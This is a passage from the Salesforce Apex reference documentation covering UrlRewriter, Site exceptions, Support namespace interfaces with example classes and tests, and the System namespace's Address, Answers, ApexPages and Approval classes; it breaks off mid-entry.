The following are methods for UrlRewriter. All are instance methods.
IN THIS SECTION:
generateUrlFor(salesforceUrls)
Maps a list of Salesforce URLs to a list of user-friendly URLs.
mapRequestUrl(userFriendlyUrl)
Maps a user-friendly URL to a Salesforce URL.
generateUrlFor(salesforceUrls)
Maps a list of Salesforce URLs to a list of user-friendly URLs.
Signature
public System.PageReference[] generateUrlFor(System.PageReference[] salesforceUrls)
2096
UrlRewriter InterfaceReference
Parameters
salesforceUrls
Type: System.PageReference[]
Return Value
Type: System.PageReference[]
Usage
You can use List<PageReference> instead of PageReference[], if you prefer.
Important: The size and order of the input list of Salesforce URLs must exactly correspond to the size and order of the generated
list of user-friendly URLs. The generateUrlFor method maps input URLs to output URLs based on the order in the lists.
mapRequestUrl(userFriendlyUrl)
Maps a user-friendly URL to a Salesforce URL.
Signature
public System.PageReference mapRequestUrl(System.PageReference userFriendlyUrl)
Parameters
userFriendlyUrl
Type: System.PageReference
Return Value
Type: System.PageReference
Site Exceptions
The Site namespace contains an exception class.
All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions.
The Site namespace contains this exception:
MethodsDescriptionException
Use the String getMessage() to get the error message
and write it to debug log.
Use List<String> getDisplayMessages() to get
a list of errors displayed to the end user.
Unable to create
external user
Site.ExternalUserCreateException
This exception can’t be subclassed or thrown in code.
2097
Site ExceptionsReference
Support Namespace
The Support namespace provides an interface used for Case Feed.
The following is the interface in the Support namespace.
IN THIS SECTION:
EmailTemplateSelector Interface
The Support.EmailTemplateSelector interface enables providing default email templates in Case Feed. With default
email templates, specified email templates are preloaded for cases based on criteria such as case origin or subject.
MilestoneTriggerTimeCalculator Interface
The Support.MilestoneTriggerTimeCalculator interface calculates the time trigger for a milestone.
EmailTemplateSelector Interface
The Support.EmailTemplateSelector interface enables providing default email templates in Case Feed. With default email
templates, specified email templates are preloaded for cases based on criteria such as case origin or subject.
Namespace
Support
To specify default templates, you must create a class that implements Support.EmailTemplateSelector.
When you implement this interface, provide an empty parameterless constructor.
IN THIS SECTION:
EmailTemplateSelector Methods
EmailTemplateSelector Example Implementation
EmailTemplateSelector Methods
The following are methods for EmailTemplateSelector.
IN THIS SECTION:
getDefaultTemplateId(caseId)
Returns the ID of the email template to preload for the case currently being viewed in the case feed using the specified case ID.
getDefaultTemplateId(caseId)
Returns the ID of the email template to preload for the case currently being viewed in the case feed using the specified case ID.
Signature
public ID getDefaultTemplateId(ID caseId)
2098
Support NamespaceReference
Parameters
caseId
Type: ID
Return Value
Type: ID
EmailTemplateSelector Example Implementation
This is an example implementation of the Support.EmailTemplateSelector interface.
The getDefaultEmailTemplateId method implementation retrieves the subject and description of the case corresponding
to the specified case ID. Next, it selects an email template based on the case subject and returns the email template ID.
global class MyCaseTemplateChooser implements Support.EmailTemplateSelector {
// Empty constructor
global MyCaseTemplateChooser() { }
// The main interface method
global ID getDefaultEmailTemplateId(ID caseId) {
// Select the case we're interested in, choosing any fields that are relevant to
our decision
Case c = [SELECT Subject, Description FROM Case WHERE Id=:caseId];
EmailTemplate et;
if (c.subject.contains('LX-1150')) {
et = [SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1150_template'];
}else if(c.subject.contains('LX-1220')) {
et = [SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1220_template'];
}
// Return the ID of the template selected
return et.id;
}
}
The following example tests the above code:
@isTest
private class MyCaseTemplateChooserTest {
static testMethod void testChooseTemplate() {
MyCaseTemplateChooser chooser = new MyCaseTemplateChooser();
// Create a simulated case to test with
Case c = new Case();
c.Subject = 'I\'m having trouble with my LX-1150';
Database.insert(c);
// Make sure the proper template is chosen for this subject
Id actualTemplateId = chooser.getDefaultEmailTemplateId(c.Id);
2099
EmailTemplateSelector InterfaceReference
EmailTemplate expectedTemplate =
[SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1150_template'];
Id expectedTemplateId = expectedTemplate.Id;
System.assertEquals(actualTemplateId, expectedTemplateId);
// Change the case properties to match a different template
c.Subject = 'My LX1220 is overheating';
Database.update(c);
// Make sure the correct template is chosen in this case
actualTemplateId = chooser.getDefaultEmailTemplateId(c.Id);
expectedTemplate =
[SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1220_template'];
expectedTemplateId = expectedTemplate.Id;
System.assertEquals(actualTemplateId, expectedTemplateId);
}
}
MilestoneTriggerTimeCalculator Interface
The Support.MilestoneTriggerTimeCalculator interface calculates the time trigger for a milestone.
Namespace
Support
Implement the Support.MilestoneTriggerTimeCalculator interface to calculate a dynamic time trigger for a milestone
based on the milestone type, the properties of the case, and case-related objects. To implement the
Support.MilestoneTriggerTimeCalculator interface, you must first declare a class with the implements keyword
as follows:
global class Employee implements Support.MilestoneTriggerTimeCalculator {
Next, your class must provide an implementation for the following method:
global Integer calculateMilestoneTriggerTime(String caseId, String milestoneTypeId)
The implemented method must be declared as global or public.
IN THIS SECTION:
MilestoneTriggerTimeCalculator Methods
MilestoneTriggerTimeCalculator Example Implementation
MilestoneTriggerTimeCalculator Methods
The following are instance methods for MilestoneTriggerTimeCalculator.
2100
MilestoneTriggerTimeCalculator InterfaceReference
IN THIS SECTION:
calculateMilestoneTriggerTime(caseId, milestoneTypeId)
Calculates the milestone trigger time based on the specified case and milestone type and returns the time in minutes.
calculateMilestoneTriggerTime(caseId, milestoneTypeId)
Calculates the milestone trigger time based on the specified case and milestone type and returns the time in minutes.
Syntax
public Integer calculateMilestoneTriggerTime(String caseId, String milestoneTypeId)
Parameters
caseId
Type: String
ID of the case the milestone is applied to.
milestoneTypeId
Type: String
ID of the milestone type.
Return Value
Type: Integer
The calculated trigger time in minutes.
MilestoneTriggerTimeCalculator Example Implementation
This sample class demonstrates the implementation of theSupport.MilestoneTriggerTimeCalculator interface. In this
sample, the case’s priority and the milestone m1 determine that the time trigger is 18 minutes.
global class myMilestoneTimeCalculator implements Support.MilestoneTriggerTimeCalculator
{
global Integer calculateMilestoneTriggerTime(String caseId, String milestoneTypeId){
Case c = [SELECT Priority FROM Case WHERE Id=:caseId];
MilestoneType mt = [SELECT Name FROM MilestoneType WHERE Id=:milestoneTypeId];
if (c.Priority != null && c.Priority.equals('High')){
if (mt.Name != null && mt.Name.equals('m1')) { return 7;}
else {return 5; }
}
else {
return 18;
}
}
}
2101
MilestoneTriggerTimeCalculator InterfaceReference
This test class can be used to test the implementation of Support.MilestoneTriggerTimeCalculator.
@isTest
private class MilestoneTimeCalculatorTest {
static testMethod void testMilestoneTimeCalculator() {
// Select an existing milestone type to test with
MilestoneType[] mtLst = [SELECT Id, Name FROM MilestoneType LIMIT 1];
if(mtLst.size() == 0) { return; }
MilestoneType mt = mtLst[0];
// Create case data.
// Typically, the milestone type is related to the case,
// but for simplicity, the case is created separately for this test.
Case c = new Case(priority = 'High');
insert c;
myMilestoneTimeCalculator calculator = new myMilestoneTimeCalculator();
Integer actualTriggerTime = calculator.calculateMilestoneTriggerTime(c.Id, mt.Id);
if(mt.name != null && mt.Name.equals('m1')) {
System.assertEquals(actualTriggerTime, 7);
}
else {
System.assertEquals(actualTriggerTime, 5);
}
c.priority = 'Low';
update c;
actualTriggerTime = calculator.calculateMilestoneTriggerTime(c.Id, mt.Id);
System.assertEquals(actualTriggerTime, 18);
}
}
System Namespace
The System namespace provides classes and methods for core Apex functionality.
The following are the classes in the System namespace.
IN THIS SECTION:
Address Class
Contains methods for accessing the component fields of address compound fields.
Answers Class
Represents zone answers.
ApexPages Class
Use ApexPages to add and check for messages associated with the current page, as well as to reference the current page.
Approval Class
Contains methods for processing approval requests and setting approval-process locks and unlocks on records.
2102
System NamespaceReference
Blob Class
Contains methods for the Blob primitive data type.
Boolean Class
Contains methods for the Boolean primitive data type.
BusinessHours Class
Use the BusinessHours methods to set the business hours at which your customer support team operates.
Cases Class
Use the Cases class to interact with case records.
Comparable Interface
Adds sorting support for Lists that contain non-primitive types, that is, Lists of user-defined types.
Continuation Class
Use the Continuation class to make callouts asynchronously to a SOAP or REST Web service.
Cookie Class
The Cookie class lets you access cookies for your Force.com site using Apex.
Crypto Class
Provides methods for creating digests, message authentication codes, and signatures, as well as encrypting and decrypting information.
Custom Settings Methods
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and
associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which
enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation
rules, flows, Apex, and the SOAP API.
Database Class
Contains methods for creating and manipulating data.
Date Class
Contains methods for the Date primitive data type.
Datetime Class
Contains methods for the Datetime primitive data type.
Decimal Class
Contains methods for the Decimal primitive data type.
Double Class
Contains methods for the Double primitive data type.
EncodingUtil Class
Use the methods in the EncodingUtil class to encode and decode URL strings, and convert strings to hexadecimal format.
Enum Methods
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Apex provides
built-in enums, such as LoggingLevel, and you can define your own enum.
Exception Class and Built-In Exceptions
An exception denotes an error that disrupts the normal flow of code execution. You can use Apex built-in exceptions or create
custom exceptions. All exceptions have common methods.
FlexQueue Class
Contains methods that reorder batch jobs in the Apex flex queue.
2103
System NamespaceReference
Http Class
Use the Http class to initiate an HTTP request and response.
HttpCalloutMock Interface
Enables sending fake responses when testing HTTP callouts.
HttpRequest Class
Use the HttpRequest class to programmatically create HTTP requests like GET, POST, PUT, and DELETE.
HttpResponse Class
Use the HttpResponse class to handle the HTTP response returned by the Http class.
Id Class
Contains methods for the ID primitive data type.
Ideas Class
Represents zone ideas.
InstallHandler Interface
Enables custom code to run after a managed package installation or upgrade.
Integer Class
Contains methods for the Integer primitive data type.
JSON Class
Contains methods for serializing Apex objects into JSON format and deserializing JSON content that was serialized using the
serialize method in this class.
JSONGenerator Class
Contains methods used to serialize objects into JSON content using the standard JSON encoding.
JSONParser Class
Represents a parser for JSON-encoded content.
JSONToken Enum
Contains all token values used for parsing JSON content.
Limits Class
Contains methods that return limit information for specific resources.
List Class
Contains methods for the List collection type.
Location Class
Contains methods for accessing the component fields of geolocation compound fields.
Long Class
Contains methods for the Long primitive data type.
Map Class
Contains methods for the Map collection type.
Matcher Class
Matchers use Patterns to perform match operations on a character string.
Math Class
Contains methods for mathematical operations.
Messaging Class
Contains messaging methods used when sending a single or mass email.
2104
System NamespaceReference
MultiStaticResourceCalloutMock Class
Utility class used to specify a fake response using multiple resources for testing HTTP callouts.
Network Class
Represents a community.
PageReference Class
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of
query parameter names and values.
Pattern Class
Represents a compiled representation of a regular expression.
Queueable Interface
Enables the asynchronous execution of Apex jobs that can be monitored.
QueueableContext Interface
Represents the parameter type of the execute() method in a class that implements the Queueable interface and contains
the job ID. This interface is implemented internally by Apex.
QuickAction Class
Use Apex to request and process actions on objects that allow custom fields, on objects that appear in a Chatter feed, or on objects
that are available globally.
RemoteObjectController
Use RemoteObjectController to access the standard Visualforce Remote Objects operations in your Remote Objects
override methods.
ResetPasswordResult Class
Represents the result of a password reset.
RestContext Class
Contains the RestRequest and RestResponse objects.
RestRequest Class
Represents an object used to pass data from an HTTP request to an Apex RESTful Web service method.
RestResponse Class
Represents an object used to pass data from an Apex RESTful Web service method to an HTTP response.
SandboxPostCopy Interface
To make your sandbox environment business ready, automate data manipulation or business logic tasks. Extend this interface and
add methods to perform post-copy tasks, then specify the class during sandbox creation.
Schedulable Interface
The class that implements this interface can be scheduled to run at different intervals.
SchedulableContext Interface
Represents the parameter type of a method in a class that implements the Schedulable interface and contains the scheduled
job ID. This interface is implemented internally by Apex.
Schema Class
Contains methods for obtaining schema describe information.
Search Class
Use the methods of the Search class to perform dynamic SOSL queries.
2105
System NamespaceReference
SelectOption Class
A SelectOption object specifies one of the possible values for a Visualforce selectCheckboxes, selectList, or
selectRadio component.
Set Class
Represents a collection of unique elements with no duplicate values.
Site Class
Use the Site Class to manage your Force.com sites.
sObject Class
Contains methods for the sObject data type.
StaticResourceCalloutMock Class
Utility class used to specify a fake response for testing HTTP callouts.
String Class
Contains methods for the String primitive data type.
StubProvider Interface
StubProvider is a callback interface that you can use as part of the Apex stub API to implement a mocking framework. Use this
interface with the Test.createStub() method to create stubbed Apex objects for testing.
System Class
Contains methods for system operations, such as writing debug messages and scheduling jobs.
Test Class
Contains methods related to Visualforce tests.
Time Class
Contains methods for the Time primitive data type.
TimeZone Class
Represents a time zone. Contains methods for creating a new time zone and obtaining time zone properties, such as the time zone
ID, offset, and display name.
Trigger Class
Use the Trigger class to access run-time context information in a trigger, such as the type of trigger or the list of sObject records
that the trigger operates on.
Type Class
Contains methods for getting the Apex type that corresponds to an Apex class and for instantiating new types.
UninstallHandler Interface
Enables custom code to run after a managed package is uninstalled.
URL Class
Represents a uniform resource locator (URL) and provides access to parts of the URL. Enables access to the Salesforce instance URL.
UserInfo Class
Contains methods for obtaining information about the context user.
Version Class
Use the Version methods to get the version of a managed package of a subscriber and to compare package versions.
WebServiceCallout Class
Enables making callouts to SOAP operations on an external Web service. This class is used in the Apex stub class that is auto-generated
from a WSDL.
2106
System NamespaceReference
WebServiceMock Interface
Enables sending fake responses when testing Web service callouts of a class auto-generated from a WSDL.
XmlStreamReader Class
The XmlStreamReader class provides methods for forward, read-only access to XML data. You can pull data from XML or skip
unwanted events. You can parse nested XML content that’s up to 50 nodes deep.
XmlStreamWriter Class
The XmlStreamWriter class provides methods for writing XML data.
Address Class
Contains methods for accessing the component fields of address compound fields.
Namespace
System
Usage
Each of these methods is also equivalent to a read-only property. For each getter method, you can access the property using dot notation.
For example, myAddress.getCity() is equivalent to myAddress.city.
You can’t use dot notation to access compound fields’ subfields directly on the parent field. Instead, assign the parent field to a variable
of type Address, and then access its components. For example, to access the City field in myAccount.BillingAddress,
do the following:
Address addr = myAccount.BillingAddress;
String acctCity = addr.City;
Example
// Select and access Address fields.
// Call the getDistance() method in different ways.
Account[] records = [SELECT id, BillingAddress FROM Account LIMIT 10];
for(Account acct : records) {
Address addr = acct.BillingAddress;
Double lat = addr.latitude;
Double lon = addr.longitude;
Location loc1 = Location.newInstance(30.1944,-97.6682);
Double apexDist1 = addr.getDistance(loc1, 'mi');
Double apexDist2 = loc1.getDistance(addr, 'mi');
System.assertEquals(apexDist1, apexDist2);
Double apexDist3 = Location.getDistance(addr, loc1, 'mi');
System.assertEquals(apexDist2, apexDist3);
}
IN THIS SECTION:
Address Methods
2107
Address ClassReference
Address Methods
The following are methods for Address.
IN THIS SECTION:
getCity()
Returns the city field of this address.
getCountry()
Returns the text-only country name component of this address.
getCountryCode()
Returns the country code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.
getDistance(toLocation, unit)
Returns the distance from this location to the specified location using the specified unit.
getGeocodeAccuracy()
When using geolocation data for a given address, this method gives you relative location information based on latitude and longitude
values. For example, you can find out if the latitude and longitude values point to the middle of the street, instead of the exact
address.
getLatitude()
Returns the latitude field of this address.
getLongitude()
Returns the longitude field of this address.
getPostalCode()
Returns the postal code of this address.
getState()
Returns the text-only state name component of this address.
getStateCode()
Returns the state code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.
getStreet()
Returns the street field of this address.
getCity()
Returns the city field of this address.
Signature
public String getCity()
Return Value
Type: String
2108
Address ClassReference
getCountry()
Returns the text-only country name component of this address.
Signature
public String getCountry()
Return Value
Type: String
getCountryCode()
Returns the country code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.
Signature
public String getCountryCode()
Return Value
Type: String
getDistance(toLocation, unit)
Returns the distance from this location to the specified location using the specified unit.
Signature
public Double getDistance(Location toLocation, String unit)
Parameters
toLocation
Type: Location
The Location to which you want to calculate the distance from the current Location.
unit
Type: String
The distance unit you want to use: mi or km.
Return Value
Type: Double
getGeocodeAccuracy()
When using geolocation data for a given address, this method gives you relative location information based on latitude and longitude
values. For example, you can find out if the latitude and longitude values point to the middle of the street, instead of the exact address.
2109
Address ClassReference
Signature
public String getGeocodeAccuracy()
Return Value
Type: String
The getGeocodeAccuracy() return value tells you more about the location at a latitude and longitude for a given address. For
example, Zip means the latitude and longitude point to the center of the zip code area, in case a match for an exact street address
can’t be found.
DescriptionAccuracy Value
In the same buildingAddress
Near the addressNearAddress
Midway point of the blockBlock
Midway point of the streetStreet
Center of the extended zip code areaExtendedZip
Center of the zip code areaZip
Center of the neighborhoodNeighborhood
Center of the cityCity
Center of the countyCounty
Center of the stateState
No match for the address was foundUnknown
Geocodes are added only for some standard addresses.
•Billing Address on accounts
•Shipping Address on accounts
•Mailing Address on contacts
•Address on leads
Person accounts are not supported.
Note: For getGeocodeAccuracy() to work, set up and activate the geocode data integration rules for the related address
fields.
getLatitude()
Returns the latitude field of this address.
Signature
public Double getLatitude()
2110
Address ClassReference
Return Value
Type: Double
getLongitude()
Returns the longitude field of this address.
Signature
public Double getLongitude()
Return Value
Type: Double
getPostalCode()
Returns the postal code of this address.
Signature
public String getPostalCode()
Return Value
Type: String
getState()
Returns the text-only state name component of this address.
Signature
public String getState()
Return Value
Type: String
getStateCode()
Returns the state code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.
Signature
public String getStateCode()
Return Value
Type: String
2111
Address ClassReference
getStreet()
Returns the street field of this address.
Signature
public String getStreet()
Return Value
Type: String
Answers Class
Represents zone answers.
Namespace
System
Usage
Answers is a feature of the Community application that enables users to ask questions and have community members post replies.
Community members can then vote on the helpfulness of each reply, and the person who asked the question can mark one reply as
the best answer.
For more information on answers, see “Answers Overview” in the Salesforce online help.
Example
The following example finds questions in an internal zone that have similar titles as a new question:
public class FindSimilarQuestionController {
public static void test() {
// Instantiate a new question
Question question = new Question ();
// Specify a title for the new question
question.title = 'How much vacation time do full-time employees get?';
// Specify the communityID (INTERNAL_COMMUNITY) in which to find similar questions.
Community community = [ SELECT Id FROM Community WHERE Name = 'INTERNAL_COMMUNITY' ];
question.communityId = community.id;
ID[] results = Answers.findSimilar(question);
}
}
2112
Answers ClassReference
The following example marks a reply as the best reply:
ID questionId = [SELECT Id FROM Question WHERE Title = 'Testing setBestReplyId' LIMIT
1].Id;
ID replyID = [SELECT Id FROM Reply WHERE QuestionId = :questionId LIMIT 1].Id;
Answers.setBestReply(questionId,replyId);
Answers Methods
The following are methods for Answers. All methods are static.
IN THIS SECTION:
findSimilar(yourQuestion)
Returns a list of similar questions based on the title of the specified question.
setBestReply(questionId, replyId)
Sets the specified reply for the specified question as the best reply. Because a question can have multiple replies, setting the best
reply helps users quickly identify the reply that contains the most helpful information.
findSimilar(yourQuestion)
Returns a list of similar questions based on the title of the specified question.
Signature
public static ID[] findSimilar(Question yourQuestion)
Parameters
yourQuestion
Type: Question
Return Value
Type: ID[]
Usage
Each findSimilar call counts against the SOSL statements governor limit allowed for the process.
setBestReply(questionId, replyId)
Sets the specified reply for the specified question as the best reply. Because a question can have multiple replies, setting the best reply
helps users quickly identify the reply that contains the most helpful information.
Signature
public static Void setBestReply(String questionId, String replyId)
2113
Answers ClassReference
Parameters
questionId
Type: String
replyId
Type: String
Return Value
Type: Void
ApexPages Class
Use ApexPages to add and check for messages associated with the current page, as well as to reference the current page.
Namespace
System
Usage
In addition, ApexPages is used as a namespace for the PageReference Class and the Message Class.
ApexPages Methods
The following are methods for ApexPages. All are instance methods.
IN THIS SECTION:
addMessage(message)
Add a message to the current page context.
addMessages(exceptionThrown)
Adds a list of messages to the current page context based on a thrown exception.
currentPage()
Returns the current page's PageReference.
getMessages()
Returns a list of the messages associated with the current context.
hasMessages()
Returns true if there are messages associated with the current context, false otherwise.
hasMessages(severity)
Returns true if messages of the specified severity exist, false otherwise.
addMessage(message)
Add a message to the current page context.
2114
ApexPages ClassReference
Signature
public Void addMessage(ApexPages.Message message)
Parameters
message
Type: ApexPages.Message
Return Value
Type: Void
addMessages(exceptionThrown)
Adds a list of messages to the current page context based on a thrown exception.
Signature
public Void addMessages(Exception exceptionThrown)
Parameters
exceptionThrown
Type: Exception
Return Value
Type: Void
currentPage()
Returns the current page's PageReference.
Signature
public System.PageReference currentPage()
Return Value
Type: System.PageReference
Example
This code segment returns the id parameter of the current page.
public MyController() {
account = [
SELECT Id, Name, Site
FROM Account
WHERE Id =
:ApexPages.currentPage().
2115
ApexPages ClassReference
getParameters().
get('id')
];
}
getMessages()
Returns a list of the messages associated with the current context.
Signature
public ApexPages.Message[] getMessages()
Return Value
Type: ApexPages.Message[]
hasMessages()
Returns true if there are messages associated with the current context, false otherwise.
Signature
public Boolean hasMessages()
Return Value
Type: Boolean
hasMessages(severity)
Returns true if messages of the specified severity exist, false otherwise.
Signature
public Boolean hasMessages(ApexPages.Severity severity)
Parameters
sev
Type: ApexPages.Severity
Return Value
Type: Boolean
Approval Class
Contains methods for processing approval requests and setting approval-process locks and unlocks on records.
2116
Approval ClassReference
Namespace
System
Usage
Salesforce admins can edit locked records. Depending on your approval process configuration settings, an assigned approver can also
edit locked records. Locks and unlocks that are set programmatically use the same record editability settings as other approval-process
locks and unlocks.
Record locks and unlocks are treated as DML. They’re blocked before a callout, they count toward your DML limits, and if a failure occurs,
they’re rolled back along with the rest of your transaction. To change this rollback behavior, use an allOrNone parameter.
Approval is also used as a namespace for the ProcessRequest and ProcessResult classes.
SEE ALSO:
Approval Process Considerations
Approval Methods
The following are methods for Approval. All methods are static.
IN THIS SECTION:
isLocked(id)
Returns true if the record with the ID id is locked, or false if it’s not.
isLocked(ids)
Returns a map of record IDs and their lock statuses. If the record is locked the status is true. If the record is not locked the status
is false.
isLocked(sobject)
Returns true if the sobject record is locked, or false if it’s not.
isLocked(sobjects)
Returns a map of record IDs to lock statuses. If the record is locked the status is true. If the record is not locked the status is false.
lock(recordId)
Locks an object, and returns the lock results.
lock(recordIds)
Locks a set of objects, and returns the lock results, including failures.
lock(recordToLock)
Locks an object, and returns the lock results.
lock(recordsToLock)
Locks a set of objects, and returns the lock results, including failures.
lock(recordId, allOrNothing)
Locks an object, with the option for partial success, and returns the lock result.
lock(recordIds, allOrNothing)
Locks a set of objects, with the option for partial success. It returns the lock results, including failures.
2117
Approval ClassReference
lock(recordToLock, allOrNothing)
Locks an object, with the option for partial success, and returns the lock result.
lock(recordsToLock, allOrNothing)
Locks a set of objects, with the option for partial success. It returns the lock results, including failures.
process(approvalRequest)
Submits a new approval request and approves or rejects existing approval requests.
process(approvalRequests, allOrNone)
Submits a new approval request and approves or rejects existing approval requests.
process(approvalRequests)
Submits a list of new approval requests, and approves or rejects existing approval requests.
process(approvalRequests, allOrNone)
Submits a list of new approval requests, and approves or rejects existing approval requests.
unlock(recordId)
Unlocks an object, and returns the unlock results.
unlock(recordIds)
Unlocks a set of objects, and returns the unlock results, including failures.
unlock(recordToUnlock)
Unlocks an object, and returns the unlock results.
unlock(recordsToUnlock)
Unlocks a set of objects, and returns the unlock results, including failures.
unlock(recordId, allOrNothing)
Unlocks an object, with the option for partial success, and returns the unlock result.
unlock(recordIds, allOrNothing)
Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.
unlock(recordToUnlock, allOrNothing)
Unlocks an object, with the option for partial success, and returns the unlock result.
unlock(recordsToUnlock, allOrNothing)
Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.
isLocked(id)
Returns true if the record with the ID id is locked, or false if it’s not.
Signature
public static Boolean isLocked(Id id)
Parameters
id
Type: Id
The ID of the record whose lock or unlock status is in question.
2118
Approval ClassReference
Return Value
Type: Boolean
isLocked(ids)
Returns a map of record IDs and their lock statuses. If the record is locked the status is true. If the record is not locked the status is
false.
Signature
public static Map<Id,Boolean> isLocked(List<Id> ids)
Parameters
ids
Type: List<Id>
The IDs of the records whose lock or unlock statuses are in question.
Return Value
Type: Map<Id,Boolean>
isLocked(sobject)
Returns true if the sobject record is locked, or false if it’s not.
Signature
public static Boolean isLocked(SObject sobject)
Parameters
sobject
Type: SObject
The record whose lock or unlock status is in question.
Return Value
Type: Boolean
isLocked(sobjects)
Returns a map of record IDs to lock statuses. If the record is locked the status is true. If the record is not locked the status is false.
Signature
public static Map<Id,Boolean> isLocked(List<SObject> sobjects)
2119
Approval ClassReference
Parameters
sobjects
Type: List<SObject>
The records whose lock or unlock statuses are in question.
Return Value
Type: Map<Id,Boolean>
lock(recordId)
Locks an object, and returns the lock results.
Signature
public static Approval.LockResult lock(Id recordId)
Parameters
recordId
Type: Id
ID of the object to lock.
Return Value
Type: Approval.LockResult
lock(recordIds)
Locks a set of objects, and returns the lock results, including failures.
Signature
public static List<Approval.LockResult> lock(List<Id> ids)
Parameters
ids
Type: List<Id>
IDs of the objects to lock.
Return Value
Type: List<Approval.LockResult>
lock(recordToLock)
Locks an object, and returns the lock results.
2120
Approval ClassReference
Signature
public static Approval.LockResult lock(SObject recordToLock)
Parameters
recordToLock
Type: SObject
Return Value
Type: Approval.LockResult
lock(recordsToLock)
Locks a set of objects, and returns the lock results, including failures.
Signature
public static List<Approval.LockResult> lock(List<SObject> recordsToLock)
Parameters
recordsToLock
Type: List<SObject>
Return Value
Type: List<Approval.LockResult>
lock(recordId, allOrNothing)
Locks an object, with the option for partial success, and returns the lock result.
Signature
public static Approval.LockResult lock(Id recordId, Boolean allOrNothing)
Parameters
recordId
Type: Id
ID of the object to lock.
allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation
can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.
2121
Approval ClassReference
Return Value
Type: Approval.LockResult
lock(recordIds, allOrNothing)
Locks a set of objects, with the option for partial success. It returns the lock results, including failures.
Signature
public static List<Approval.LockResult> lock(List<Id> recordIds, Boolean allOrNothing)
Parameters
recordIds
Type: List<Id>
IDs of the objects to lock.
allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation
can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.
Return Value
Type: List<Approval.LockResult>
lock(recordToLock, allOrNothing)
Locks an object, with the option for partial success, and returns the lock result.
Signature
public static Approval.LockResult lock(SObject recordToLock, Boolean allOrNothing)
Parameters
recordToLock
Type: SObject
allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation
can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.
Return Value
Type: Approval.LockResult
2122
Approval ClassReference
lock(recordsToLock, allOrNothing)
Locks a set of objects, with the option for partial success. It returns the lock results, including failures.
Signature
public static List<Approval.LockResult> lock(List<SObject> recordsToLock, Boolean
allOrNothing)
Parameters
recordsToLock
Type: List<SObject>
allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation
can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.
Return Value
Type: List<Approval.LockResult>
process(approvalRequest)
Submits a new approval request and approves or rejects existing approval requests.
Signature
public static Approval.ProcessResult process(Approval.ProcessRequest approvalRequest)
Parameters
approvalRequest
Type: Approval.ProcessRequest
Return Value
Type: Approval.ProcessResult
Example
// Insert an account
Account a = new Account(Name='Test',
annualRevenue=100.0);
insert a;
// Create an approval request for the account
Approval.ProcessSubmitRequest req1 =
new Approval.ProcessSubmitRequest();
2123
Approval ClassReference
req1.setObjectId(a.id);
// Submit the approval request for the account
Approval.ProcessResult result =
Approval.process(req1);
process(approvalRequests, allOrNone)
Submits a new approval request and approves or rejects existing approval requests.
Signature
public static Approval.ProcessResult process(Approval.ProcessRequest approvalRequests,
Boolean allOrNone)
Parameters
approvalRequests
Approval.ProcessRequest
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows for partial success. If you specify false for this
parameter and an approval fails, the remainder of the approval processes can still succeed.
Return Value
Approval.ProcessResult
process(approvalRequests)
Submits a list of new approval requests, and approves or rejects existing approval requests.
Signature
public static Approval.ProcessResult [] process(Approval.ProcessRequest[]
approvalRequests)
Parameters
approvalRequests
Approval.ProcessRequest []
Return Value
Approval.ProcessResult []
process(approvalRequests, allOrNone)
Submits a list of new approval requests, and approves or rejects existing approval requests.
2124
Approval ClassReference
Signature
public static Approval.ProcessResult [] process(Approval.ProcessRequest[]
approvalRequests, Boolean allOrNone)
Parameters
approvalRequests
Approval.ProcessRequest []
allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows for partial success. If you specify false for this
parameter and an approval fails, the remainder of the approval processes can still succeed.
Return Value
Approval.ProcessResult []
unlock(recordId)
Unlocks an object, and returns the unlock results.
Signature
public static Approval.UnlockResult unlock(Id recordId)
Parameters
recordId
Type: Id
ID of the object to unlock.
Return Value
Type: Approval.UnlockResult
unlock(recordIds)
Unlocks a set of objects, and returns the unlock results, including failures.
Signature
public static List<Approval.UnlockResult> unlock(List<Id> recordIds)
Parameters
recordIds
Type: List<Id>
IDs of the objects to unlock.
2125
Approval ClassReference
Return Value
Type: List<Approval.UnlockResult>
unlock(recordToUnlock)
Unlocks an object, and returns the unlock results.
Signature
public static Approval.UnlockResult unlock(SObject recordToUnlock)
Parameters
recordToUnlock
Type: SObject
Return Value
Type: Approval.UnlockResult
unlock(recordsToUnlock)
Unlocks a set of objects, and returns the unlock results, including failures.
Signature
public static List<Approval.UnlockResult> unlock(List<SObject> recordsToUnlock)
Parameters
recordsToUnlock
Type: List<SObject>
Return Value
Type: List<Approval.UnlockResult>
unlock(recordId, allOrNothing)
Unlocks an object, with the option for partial success, and returns the unlock result.
Signature
public static Approval.UnlockResult unlock(Id recordId, Boolean allOrNothing)
Parameters
recordId
Type: Id
ID of the object to lock.
2126
Approval ClassReference
allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation
can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.
Return Value
Type: Approval.UnlockResult
unlock(recordIds, allOrNothing)
Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.
Signature
